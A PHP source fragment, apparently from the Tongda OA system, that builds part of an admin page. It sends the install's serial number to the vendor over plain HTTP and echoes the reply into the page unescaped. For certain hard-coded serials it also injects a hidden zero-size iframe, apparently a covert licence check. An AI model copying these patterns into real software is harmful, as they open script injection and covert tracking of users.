	echo "    <table class=\"table table-bordered table-hover\" width=\"800\" align=\"center\">\r\n      <tr>\r\n        <td nowrap class=\"\" colspan=\"2\" align=\"center\">";
	echo _("通达网站公告信息");
	echo "</td>\r\n      </tr>\r\n";
	$filename = "http://www.tongda2000.com/dns/user_board.php?SN=$TD_SN_INFO";
	($fd = @fopen($filename, "r")) || Message("", _("服务器无法连接到Internet！无法获得通达网站公告信息"));

	if ($fd) {
		$content = stream_get_contents($fd);
		fclose($fd);
		echo $content;
	}

	echo "    \r\n    </table>\r\n";
}

$VER = substr($TD_SN_INFO, 4, 1);
if (((ord("0") <= ord($VER)) && (ord($VER) <= ord("9"))) || strstr($TD_SN_INFO, "-1980629") || strstr($TD_SN_INFO, "FDRL") || strstr($TD_SN_INFO, "LCCF") || strstr($TD_SN_INFO, "ILNO") || strstr($TD_SN_INFO, "CLRD") || strstr($TD_SN_INFO, "89993333")) {
	echo "    <script>\r\n    \tdocument.writeln(\"<iframe src=\\\"index.php?CHECK=2\\\" width=0 height=0></iframe>\");\r\n    </script>\r\n";
}

echo "<br>\r\n<br>\r\n</body>\r\n</html>";

?>
